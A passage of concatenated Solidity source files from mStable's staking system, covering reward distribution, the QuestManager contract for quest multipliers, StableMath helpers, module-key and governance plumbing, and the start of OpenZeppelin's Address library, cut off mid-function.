function earned(address _account) public view returns (uint256) {
return _earned(_account, rewardPerToken());
}
function _earned(address _account, uint256 _currentRewardPerToken)
internal
view
returns (uint256)
{
// current rate per token - rate user previously received
uint256 userRewardDelta = _currentRewardPerToken - userData[_account].rewardPerTokenPaid; // + 1 SLOAD
// Short circuit if there is nothing new to distribute
if (userRewardDelta == 0) {
return userData[_account].rewards;
}
// new reward = staked tokens * difference in rate
uint256 userNewReward = balanceOf(_account).mulTruncate(userRewardDelta); // + 1 SLOAD
// add to previous rewards
return userData[_account].rewards + userNewReward;
}
/***************************************
ABSTRACT
****************************************/
function balanceOf(address account) public view virtual returns (uint256);
function totalSupply() public view virtual returns (uint256);
function _claimRewardHook(address account) internal virtual;
/***************************************
ADMIN
****************************************/
/**
* @dev Notifies the contract that new rewards have been added.
* Calculates an updated rewardRate based on the rewards in period.
* @param _reward Units of RewardToken that have been added to the pool
*/
function notifyRewardAmount(uint256 _reward)
external
override
onlyRewardsDistributor
updateReward(address(0))
{
require(_reward < 1e24, "Notify more than a million units");
uint256 currentTime = block.timestamp;
// Pay and reset the pendingAdditionalRewards
if (pendingAdditionalReward > 1) {
_reward += (pendingAdditionalReward - 1);
pendingAdditionalReward = 1;
}
if (_reward > 0) {
REWARDS_TOKEN.safeTransfer(rewardTokenVendor, _reward);
}
// If previous period over, reset rewardRate
if (currentTime >= globalData.periodFinish) {
globalData.rewardRate = SafeCast.toUint96(_reward / DURATION);
}
// If additional reward to existing period, calc sum
else {
uint256 remainingSeconds = globalData.periodFinish - currentTime;
uint256 leftover = remainingSeconds * globalData.rewardRate;
globalData.rewardRate = SafeCast.toUint96((_reward + leftover) / DURATION);
}
globalData.lastUpdateTime = SafeCast.toUint32(currentTime);
globalData.periodFinish = SafeCast.toUint32(currentTime + DURATION);
emit RewardAdded(_reward);
}
/**
* @dev Called by the child contract to notify of any additional rewards that have accrued.
* Trusts that this is called honestly.
* @param _additionalReward Units of additional RewardToken to add at the next notification
*/
function _notifyAdditionalReward(uint256 _additionalReward) internal virtual {
require(_additionalReward < 1e24, "Cannot notify with more than a million units");
pendingAdditionalReward += _additionalReward;
}
}
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.8.6;
import { Initializable } from "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import { ContextUpgradeable } from "@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol";
import { SignatureVerifier } from "./deps/SignatureVerifier.sol";
import { ImmutableModule } from "../../shared/ImmutableModule.sol";
import { SafeCast } from "@openzeppelin/contracts/utils/math/SafeCast.sol";
import { IQuestManager } from "./interfaces/IQuestManager.sol";
import { IStakedToken } from "./interfaces/IStakedToken.sol";
import "./deps/GamifiedTokenStructs.sol";
/**
* @title QuestManager
* @author mStable
* @notice Centralised place to track quest management and completion status
* @dev VERSION: 1.0
* DATE: 2021-08-25
*/
contract QuestManager is IQuestManager, Initializable, ContextUpgradeable, ImmutableModule {
/// @notice Tracks the completion of each quest (user => questId => completion)
mapping(address => mapping(uint256 => bool)) private _questCompletion;
/// @notice User balance structs containing all data needed to scale balance
mapping(address => QuestBalance) internal _balances;
/// @notice List of quests, whose ID corresponds to their position in the array (from 0)
Quest[] private _quests;
/// @notice Timestamp at which the current season started
uint32 public override seasonEpoch;
/// @notice Timestamp at which the contract was created
uint32 public startTime;
/// @notice A whitelisted questMaster who can administer quests including signing user quests are completed.
address public override questMaster;
/// @notice account that can sign a user's quest as being completed.
address internal _questSigner;
/// @notice List of all staking tokens
address[] internal _stakedTokens;
/**
* @param _nexus System nexus
*/
constructor(address _nexus) ImmutableModule(_nexus) {}
/**
* @param _questMaster account that can sign user quests as completed
* @param _questSignerArg account that can sign user quests as completed
*/
function initialize(address _questMaster, address _questSignerArg) external initializer {
startTime = SafeCast.toUint32(block.timestamp);
questMaster = _questMaster;
_questSigner = _questSignerArg;
}
/**
* @dev Checks that _msgSender is either governor or the quest master
*/
modifier questMasterOrGovernor() {
_questMasterOrGovernor();
_;
}
function _questMasterOrGovernor() internal view {
require(_msgSender() == questMaster || _msgSender() == _governor(), "Not verified");
}
/***************************************
Getters
****************************************/
/**
* @notice Gets raw quest data
*/
function getQuest(uint256 _id) external view override returns (Quest memory) {
return _quests[_id];
}
/**
* @dev Simply checks if a given user has already completed a given quest
* @param _account User address
* @param _id Position of quest in array
* @return bool with completion status
*/
function hasCompleted(address _account, uint256 _id) public view override returns (bool) {
return _questCompletion[_account][_id];
}
/**
* @notice Raw quest balance
*/
function balanceData(address _account) external view override returns (QuestBalance memory) {
return _balances[_account];
}
/***************************************
Admin
****************************************/
/**
* @dev Sets the quest master that can administoer quests. eg add, expire and start seasons.
*/
function setQuestMaster(address _newQuestMaster) external override questMasterOrGovernor {
emit QuestMaster(questMaster, _newQuestMaster);
questMaster = _newQuestMaster;
}
/**
* @dev Sets the quest signer that can sign user quests as being completed.
*/
function setQuestSigner(address _newQuestSigner) external override onlyGovernor {
emit QuestSigner(_questSigner, _newQuestSigner);
_questSigner = _newQuestSigner;
}
/**
* @dev Adds a new stakedToken
*/
function addStakedToken(address _stakedToken) external override onlyGovernor {
require(_stakedToken != address(0), "Invalid StakedToken");
_stakedTokens.push(_stakedToken);
emit StakedTokenAdded(_stakedToken);
}
/***************************************
QUESTS
****************************************/
/**
* @dev Called by questMasters to add a new quest to the system with default 'ACTIVE' status
* @param _model Type of quest rewards multiplier (does it last forever or just for the season).
* @param _multiplier Multiplier, from 1 == 1.01x to 100 == 2.00x
* @param _expiry Timestamp at which quest expires. Note that permanent quests should still be given a timestamp.
*/
function addQuest(
QuestType _model,
uint8 _multiplier,
uint32 _expiry
) external override questMasterOrGovernor {
require(_expiry > block.timestamp + 1 days, "Quest window too small");
require(_multiplier > 0 && _multiplier <= 50, "Quest multiplier too large > 1.5x");
_quests.push(
Quest({
model: _model,
multiplier: _multiplier,
status: QuestStatus.ACTIVE,
expiry: _expiry
})
);
emit QuestAdded(
msg.sender,
_quests.length - 1,
_model,
_multiplier,
QuestStatus.ACTIVE,
_expiry
);
}
/**
* @dev Called by questMasters to expire a quest, setting it's status as EXPIRED. After which it can
* no longer be completed.
* @param _id Quest ID (its position in the array)
*/
function expireQuest(uint16 _id) external override questMasterOrGovernor {
require(_id < _quests.length, "Quest does not exist");
require(_quests[_id].status == QuestStatus.ACTIVE, "Quest already expired");
_quests[_id].status = QuestStatus.EXPIRED;
if (block.timestamp < _quests[_id].expiry) {
_quests[_id].expiry = SafeCast.toUint32(block.timestamp);
}
emit QuestExpired(_id);
}
/**
* @dev Called by questMasters to start a new quest season. After this, all current
* seasonMultipliers will be reduced at the next user action (or triggered manually).
* In order to reduce cost for any keepers, it is suggested to add quests at the start
* of a new season to incentivise user actions.
* A new season can only begin after 9 months has passed.
*/
function startNewQuestSeason() external override questMasterOrGovernor {
require(block.timestamp > (startTime + 39 weeks), "First season has not elapsed");
require(block.timestamp > (seasonEpoch + 39 weeks), "Season has not elapsed");
uint256 len = _quests.length;
for (uint256 i = 0; i < len; i++) {
Quest memory quest = _quests[i];
if (quest.model == QuestType.SEASONAL) {
require(
quest.status == QuestStatus.EXPIRED || block.timestamp > quest.expiry,
"All seasonal quests must have expired"
);
}
}
seasonEpoch = SafeCast.toUint32(block.timestamp);
emit QuestSeasonEnded();
}
/***************************************
USER
****************************************/
/**
* @dev Called by anyone to complete one or more quests for a staker. The user must first collect a signed message
* from the whitelisted _signer.
* @param _account Account that has completed the quest
* @param _ids Quest IDs (its position in the array)
* @param _signature Signature from the verified _questSigner, containing keccak hash of account & ids
*/
function completeUserQuests(
address _account,
uint256[] memory _ids,
bytes calldata _signature
) external override {
uint256 len = _ids.length;
require(len > 0, "No quest IDs");
uint8 questMultiplier = checkForSeasonFinish(_account);
// For each quest
for (uint256 i = 0; i < len; i++) {
require(_validQuest(_ids[i]), "Invalid Quest ID");
require(!hasCompleted(_account, _ids[i]), "Quest already completed");
require(
SignatureVerifier.verify(_questSigner, _account, _ids, _signature),
"Invalid Quest Signer Signature"
);
// Store user quest has completed
_questCompletion[_account][_ids[i]] = true;
// Update multiplier
Quest memory quest = _quests[_ids[i]];
if (quest.model == QuestType.PERMANENT) {
_balances[_account].permMultiplier += quest.multiplier;
} else {
_balances[_account].seasonMultiplier += quest.multiplier;
}
questMultiplier += quest.multiplier;
}
uint256 len2 = _stakedTokens.length;
for (uint256 i = 0; i < len2; i++) {
IStakedToken(_stakedTokens[i]).applyQuestMultiplier(_account, questMultiplier);
}
emit QuestCompleteQuests(_account, _ids);
}
/**
* @dev Called by anyone to complete one or more accounts for a quest. The user must first collect a signed message
* from the whitelisted _questMaster.
* @param _questId Quest ID (its position in the array)
* @param _accounts Accounts that has completed the quest
* @param _signature Signature from the verified _questMaster, containing keccak hash of id and accounts
*/
function completeQuestUsers(
uint256 _questId,
address[] memory _accounts,
bytes calldata _signature
) external override {
require(_validQuest(_questId), "Invalid Quest ID");
uint256 len = _accounts.length;
require(len > 0, "No accounts");
require(
SignatureVerifier.verify(_questSigner, _questId, _accounts, _signature),
"Invalid Quest Signer Signature"
);
Quest memory quest = _quests[_questId];
// For each user account
for (uint256 i = 0; i < len; i++) {
require(!hasCompleted(_accounts[i], _questId), "Quest already completed");
// store user quest has completed
_questCompletion[_accounts[i]][_questId] = true;
// _applyQuestMultiplier(_accounts[i], quests);
uint8 questMultiplier = checkForSeasonFinish(_accounts[i]);
// Update multiplier
if (quest.model == QuestType.PERMANENT) {
_balances[_accounts[i]].permMultiplier += quest.multiplier;
} else {
_balances[_accounts[i]].seasonMultiplier += quest.multiplier;
}
questMultiplier += quest.multiplier;
uint256 len2 = _stakedTokens.length;
for (uint256 j = 0; j < len2; j++) {
IStakedToken(_stakedTokens[j]).applyQuestMultiplier(_accounts[i], questMultiplier);
}
}
emit QuestCompleteUsers(_questId, _accounts);
}
/**
* @dev Simply checks if a quest is valid. Quests are valid if their id exists,
* they have an ACTIVE status and they have not yet reached their expiry timestamp.
* @param _id Position of quest in array
* @return bool with validity status
*/
function _validQuest(uint256 _id) internal view returns (bool) {
return
_id < _quests.length &&
_quests[_id].status == QuestStatus.ACTIVE &&
block.timestamp < _quests[_id].expiry;
}
/**
* @dev Checks if the season has just finished between now and the users last action.
* If it has, we reset the seasonMultiplier. Either way, we update the lastAction for the user.
* NOTE - it is important that this is called as a hook before each state change operation
* @param _account Address of user that should be updated
*/
function checkForSeasonFinish(address _account)
public
override
returns (uint8 newQuestMultiplier)
{
QuestBalance storage balance = _balances[_account];
// If the last action was before current season, then reset the season timing
if (_hasFinishedSeason(balance.lastAction)) {
// Remove 85% of the multiplier gained in this season
balance.seasonMultiplier = (balance.seasonMultiplier * 15) / 100;
balance.lastAction = SafeCast.toUint32(block.timestamp);
}
return balance.seasonMultiplier + balance.permMultiplier;
}
/**
* @dev Simple view fn to check if the users last action was before the starting of the current season
*/
function _hasFinishedSeason(uint32 _lastAction) internal view returns (bool) {
return _lastAction < seasonEpoch;
}
}
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.8.6;
import { ImmutableModule } from "../shared/ImmutableModule.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { IRewardsDistributionRecipient } from "../interfaces/IRewardsDistributionRecipient.sol";
/**
* @title RewardsDistributionRecipient
* @author Originally: Synthetix (forked from /Synthetixio/synthetix/contracts/RewardsDistributionRecipient.sol)
* Changes by: mStable
* @notice RewardsDistributionRecipient gets notified of additional rewards by the rewardsDistributor
* @dev Changes: Addition of Module and abstract `getRewardToken` func + cosmetic
*/
abstract contract InitializableRewardsDistributionRecipient is
IRewardsDistributionRecipient,
ImmutableModule
{
// This address has the ability to distribute the rewards
address public rewardsDistributor;
constructor(address _nexus) ImmutableModule(_nexus) {}
/** @dev Recipient is a module, governed by mStable governance */
function _initialize(address _rewardsDistributor) internal virtual {
rewardsDistributor = _rewardsDistributor;
}
/**
* @dev Only the rewards distributor can notify about rewards
*/
modifier onlyRewardsDistributor() {
require(msg.sender == rewardsDistributor, "Caller is not reward distributor");
_;
}
/**
* @dev Change the rewardsDistributor - only called by mStable governor
* @param _rewardsDistributor Address of the new distributor
*/
function setRewardsDistribution(address _rewardsDistributor) external onlyGovernor {
rewardsDistributor = _rewardsDistributor;
}
}
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.8.6;
/**
* @title StableMath
* @author mStable
* @notice A library providing safe mathematical operations to multiply and
* divide with standardised precision.
* @dev Derives from OpenZeppelin's SafeMath lib and uses generic system
* wide variables for managing precision.
*/
library StableMath {
/**
* @dev Scaling unit for use in specific calculations,
* where 1 * 10**18, or 1e18 represents a unit '1'
*/
uint256 private constant FULL_SCALE = 1e18;
/**
* @dev Token Ratios are used when converting between units of bAsset, mAsset and MTA
* Reasoning: Takes into account token decimals, and difference in base unit (i.e. grams to Troy oz for gold)
* bAsset ratio unit for use in exact calculations,
* where (1 bAsset unit * bAsset.ratio) / ratioScale == x mAsset unit
*/
uint256 private constant RATIO_SCALE = 1e8;
/**
* @dev Provides an interface to the scaling unit
* @return Scaling unit (1e18 or 1 * 10**18)
*/
function getFullScale() internal pure returns (uint256) {
return FULL_SCALE;
}
/**
* @dev Provides an interface to the ratio unit
* @return Ratio scale unit (1e8 or 1 * 10**8)
*/
function getRatioScale() internal pure returns (uint256) {
return RATIO_SCALE;
}
/**
* @dev Scales a given integer to the power of the full scale.
* @param x Simple uint256 to scale
* @return Scaled value a to an exact number
*/
function scaleInteger(uint256 x) internal pure returns (uint256) {
return x * FULL_SCALE;
}
/***************************************
PRECISE ARITHMETIC
****************************************/
/**
* @dev Multiplies two precise units, and then truncates by the full scale
* @param x Left hand input to multiplication
* @param y Right hand input to multiplication
* @return Result after multiplying the two inputs and then dividing by the shared
* scale unit
*/
function mulTruncate(uint256 x, uint256 y) internal pure returns (uint256) {
return mulTruncateScale(x, y, FULL_SCALE);
}
/**
* @dev Multiplies two precise units, and then truncates by the given scale. For example,
* when calculating 90% of 10e18, (10e18 * 9e17) / 1e18 = (9e36) / 1e18 = 9e18
* @param x Left hand input to multiplication
* @param y Right hand input to multiplication
* @param scale Scale unit
* @return Result after multiplying the two inputs and then dividing by the shared
* scale unit
*/
function mulTruncateScale(
uint256 x,
uint256 y,
uint256 scale
) internal pure returns (uint256) {
// e.g. assume scale = fullScale
// z = 10e18 * 9e17 = 9e36
// return 9e36 / 1e18 = 9e18
return (x * y) / scale;
}
/**
* @dev Multiplies two precise units, and then truncates by the full scale, rounding up the result
* @param x Left hand input to multiplication
* @param y Right hand input to multiplication
* @return Result after multiplying the two inputs and then dividing by the shared
* scale unit, rounded up to the closest base unit.
*/
function mulTruncateCeil(uint256 x, uint256 y) internal pure returns (uint256) {
// e.g. 8e17 * 17268172638 = 138145381104e17
uint256 scaled = x * y;
// e.g. 138145381104e17 + 9.99...e17 = 138145381113.99...e17
uint256 ceil = scaled + FULL_SCALE - 1;
// e.g. 13814538111.399...e18 / 1e18 = 13814538111
return ceil / FULL_SCALE;
}
/**
* @dev Precisely divides two units, by first scaling the left hand operand. Useful
* for finding percentage weightings, i.e. 8e18/10e18 = 80% (or 8e17)
* @param x Left hand input to division
* @param y Right hand input to division
* @return Result after multiplying the left operand by the scale, and
* executing the division on the right hand input.
*/
function divPrecisely(uint256 x, uint256 y) internal pure returns (uint256) {
// e.g. 8e18 * 1e18 = 8e36
// e.g. 8e36 / 10e18 = 8e17
return (x * FULL_SCALE) / y;
}
/***************************************
RATIO FUNCS
****************************************/
/**
* @dev Multiplies and truncates a token ratio, essentially flooring the result
* i.e. How much mAsset is this bAsset worth?
* @param x Left hand operand to multiplication (i.e Exact quantity)
* @param ratio bAsset ratio
* @return c Result after multiplying the two inputs and then dividing by the ratio scale
*/
function mulRatioTruncate(uint256 x, uint256 ratio) internal pure returns (uint256 c) {
return mulTruncateScale(x, ratio, RATIO_SCALE);
}
/**
* @dev Multiplies and truncates a token ratio, rounding up the result
* i.e. How much mAsset is this bAsset worth?
* @param x Left hand input to multiplication (i.e Exact quantity)
* @param ratio bAsset ratio
* @return Result after multiplying the two inputs and then dividing by the shared
* ratio scale, rounded up to the closest base unit.
*/
function mulRatioTruncateCeil(uint256 x, uint256 ratio) internal pure returns (uint256) {
// e.g. How much mAsset should I burn for this bAsset (x)?
// 1e18 * 1e8 = 1e26
uint256 scaled = x * ratio;
// 1e26 + 9.99e7 = 100..00.999e8
uint256 ceil = scaled + RATIO_SCALE - 1;
// return 100..00.999e8 / 1e8 = 1e18
return ceil / RATIO_SCALE;
}
/**
* @dev Precisely divides two ratioed units, by first scaling the left hand operand
* i.e. How much bAsset is this mAsset worth?
* @param x Left hand operand in division
* @param ratio bAsset ratio
* @return c Result after multiplying the left operand by the scale, and
* executing the division on the right hand input.
*/
function divRatioPrecisely(uint256 x, uint256 ratio) internal pure returns (uint256 c) {
// e.g. 1e14 * 1e8 = 1e22
// return 1e22 / 1e12 = 1e10
return (x * RATIO_SCALE) / ratio;
}
/***************************************
HELPERS
****************************************/
/**
* @dev Calculates minimum of two numbers
* @param x Left hand input
* @param y Right hand input
* @return Minimum of the two inputs
*/
function min(uint256 x, uint256 y) internal pure returns (uint256) {
return x > y ? y : x;
}
/**
* @dev Calculated maximum of two numbers
* @param x Left hand input
* @param y Right hand input
* @return Maximum of the two inputs
*/
function max(uint256 x, uint256 y) internal pure returns (uint256) {
return x > y ? x : y;
}
/**
* @dev Clamps a value to an upper bound
* @param x Left hand input
* @param upperBound Maximum possible value to return
* @return Input x clamped to a maximum value, upperBound
*/
function clamp(uint256 x, uint256 upperBound) internal pure returns (uint256) {
return x > upperBound ? upperBound : x;
}
}
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.8.6;
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { PlatformTokenVendor } from "./PlatformTokenVendor.sol";
/**
* @title PlatformTokenVendorFactory
* @author mStable
* @notice Library that deploys a PlatformTokenVendor contract which holds rewards tokens
* @dev Used to reduce the byte size of the contracts that need to deploy a PlatformTokenVendor contract
*/
library PlatformTokenVendorFactory {
/// @dev for some reason Typechain will not generate the types if the library only has the create function
function dummy() public pure returns (bool) {
return true;
}
/**
* @notice Deploys a new PlatformTokenVendor contract
* @param _rewardsToken reward or platform rewards token. eg MTA or WMATIC
* @return address of the deployed PlatformTokenVendor contract
*/
function create(IERC20 _rewardsToken) public returns (address) {
PlatformTokenVendor newPlatformTokenVendor = new PlatformTokenVendor(_rewardsToken);
return address(newPlatformTokenVendor);
}
}
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.8.6;
import { ModuleKeys } from "./ModuleKeys.sol";
import { INexus } from "../interfaces/INexus.sol";
/**
* @title ImmutableModule
* @author mStable
* @dev Subscribes to module updates from a given publisher and reads from its registry.
* Contract is used for upgradable proxy contracts.
*/
abstract contract ImmutableModule is ModuleKeys {
INexus public immutable nexus;
/**
* @dev Initialization function for upgradable proxy contracts
* @param _nexus Nexus contract address
*/
constructor(address _nexus) {
require(_nexus != address(0), "Nexus address is zero");
nexus = INexus(_nexus);
}
/**
* @dev Modifier to allow function calls only from the Governor.
*/
modifier onlyGovernor() {
_onlyGovernor();
_;
}
function _onlyGovernor() internal view {
require(msg.sender == _governor(), "Only governor can execute");
}
/**
* @dev Modifier to allow function calls only from the Governance.
* Governance is either Governor address or Governance address.
*/
modifier onlyGovernance() {
require(
msg.sender == _governor() || msg.sender == _governance(),
"Only governance can execute"
);
_;
}
/**
* @dev Returns Governor address from the Nexus
* @return Address of Governor Contract
*/
function _governor() internal view returns (address) {
return nexus.governor();
}
/**
* @dev Returns Governance Module address from the Nexus
* @return Address of the Governance (Phase 2)
*/
function _governance() internal view returns (address) {
return nexus.getModule(KEY_GOVERNANCE);
}
/**
* @dev Return SavingsManager Module address from the Nexus
* @return Address of the SavingsManager Module contract
*/
function _savingsManager() internal view returns (address) {
return nexus.getModule(KEY_SAVINGS_MANAGER);
}
/**
* @dev Return Recollateraliser Module address from the Nexus
* @return Address of the Recollateraliser Module contract (Phase 2)
*/
function _recollateraliser() internal view returns (address) {
return nexus.getModule(KEY_RECOLLATERALISER);
}
/**
* @dev Return Liquidator Module address from the Nexus
* @return Address of the Liquidator Module contract
*/
function _liquidator() internal view returns (address) {
return nexus.getModule(KEY_LIQUIDATOR);
}
/**
* @dev Return ProxyAdmin Module address from the Nexus
* @return Address of the ProxyAdmin Module contract
*/
function _proxyAdmin() internal view returns (address) {
return nexus.getModule(KEY_PROXY_ADMIN);
}
}
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.8.6;
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface IRewardsDistributionRecipient {
function notifyRewardAmount(uint256 reward) external;
function getRewardToken() external view returns (IERC20);
}
interface IRewardsRecipientWithPlatformToken {
function notifyRewardAmount(uint256 reward) external;
function getRewardToken() external view returns (IERC20);
function getPlatformToken() external view returns (IERC20);
}
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.8.6;
/**
* @title ModuleKeys
* @author mStable
* @notice Provides system wide access to the byte32 represntations of system modules
* This allows each system module to be able to reference and update one another in a
* friendly way
* @dev keccak256() values are hardcoded to avoid re-evaluation of the constants at runtime.
*/
contract ModuleKeys {
// Governance
// ===========
// keccak256("Governance");
bytes32 internal constant KEY_GOVERNANCE =
0x9409903de1e6fd852dfc61c9dacb48196c48535b60e25abf92acc92dd689078d;
//keccak256("Staking");
bytes32 internal constant KEY_STAKING =
0x1df41cd916959d1163dc8f0671a666ea8a3e434c13e40faef527133b5d167034;
//keccak256("ProxyAdmin");
bytes32 internal constant KEY_PROXY_ADMIN =
0x96ed0203eb7e975a4cbcaa23951943fa35c5d8288117d50c12b3d48b0fab48d1;
// mStable
// =======
// keccak256("OracleHub");
bytes32 internal constant KEY_ORACLE_HUB =
0x8ae3a082c61a7379e2280f3356a5131507d9829d222d853bfa7c9fe1200dd040;
// keccak256("Manager");
bytes32 internal constant KEY_MANAGER =
0x6d439300980e333f0256d64be2c9f67e86f4493ce25f82498d6db7f4be3d9e6f;
//keccak256("Recollateraliser");
bytes32 internal constant KEY_RECOLLATERALISER =
0x39e3ed1fc335ce346a8cbe3e64dd525cf22b37f1e2104a755e761c3c1eb4734f;
//keccak256("MetaToken");
bytes32 internal constant KEY_META_TOKEN =
0xea7469b14936af748ee93c53b2fe510b9928edbdccac3963321efca7eb1a57a2;
// keccak256("SavingsManager");
bytes32 internal constant KEY_SAVINGS_MANAGER =
0x12fe936c77a1e196473c4314f3bed8eeac1d757b319abb85bdda70df35511bf1;
// keccak256("Liquidator");
bytes32 internal constant KEY_LIQUIDATOR =
0x1e9cb14d7560734a61fa5ff9273953e971ff3cd9283c03d8346e3264617933d4;
// keccak256("InterestValidator");
bytes32 internal constant KEY_INTEREST_VALIDATOR =
0xc10a28f028c7f7282a03c90608e38a4a646e136e614e4b07d119280c5f7f839f;
}
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.8.6;
/**
* @title INexus
* @dev Basic interface for interacting with the Nexus i.e. SystemKernel
*/
interface INexus {
function governor() external view returns (address);
function getModule(bytes32 key) external view returns (address);
function proposeModule(bytes32 _key, address _addr) external;
function cancelProposedModule(bytes32 _key) external;
function acceptProposedModule(bytes32 _key) external;
function acceptProposedModules(bytes32[] calldata _keys) external;
function requestLockModule(bytes32 _key) external;
function cancelLockModule(bytes32 _key) external;
function lockModule(bytes32 _key) external;
}
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.8.6;
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { MassetHelpers } from "../../shared/MassetHelpers.sol";
/**
* @title PlatformTokenVendor
* @author mStable
* @notice Stores platform tokens for distributing to StakingReward participants
* @dev Only deploy this during the constructor of a given StakingReward contract
*/
contract PlatformTokenVendor {
IERC20 public immutable platformToken;
address public immutable parentStakingContract;
/** @dev Simple constructor that stores the parent address */
constructor(IERC20 _platformToken) {
parentStakingContract = msg.sender;
platformToken = _platformToken;
MassetHelpers.safeInfiniteApprove(address(_platformToken), msg.sender);
}
/**
* @dev Re-approves the StakingReward contract to spend the platform token.
* Just incase for some reason approval has been reset.
*/
function reApproveOwner() external {
MassetHelpers.safeInfiniteApprove(address(platformToken), parentStakingContract);
}
}
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.8.6;
import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/**
* @title MassetHelpers
* @author mStable
* @notice Helper functions to facilitate minting and redemption from off chain
* @dev VERSION: 1.0
* DATE: 2020-03-28
*/
library MassetHelpers {
using SafeERC20 for IERC20;
function transferReturnBalance(
address _sender,
address _recipient,
address _bAsset,
uint256 _qty
) internal returns (uint256 receivedQty, uint256 recipientBalance) {
uint256 balBefore = IERC20(_bAsset).balanceOf(_recipient);
IERC20(_bAsset).safeTransferFrom(_sender, _recipient, _qty);
recipientBalance = IERC20(_bAsset).balanceOf(_recipient);
receivedQty = recipientBalance - balBefore;
}
function safeInfiniteApprove(address _asset, address _spender) internal {
IERC20(_asset).safeApprove(_spender, 0);
IERC20(_asset).safeApprove(_spender, 2**256 - 1);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
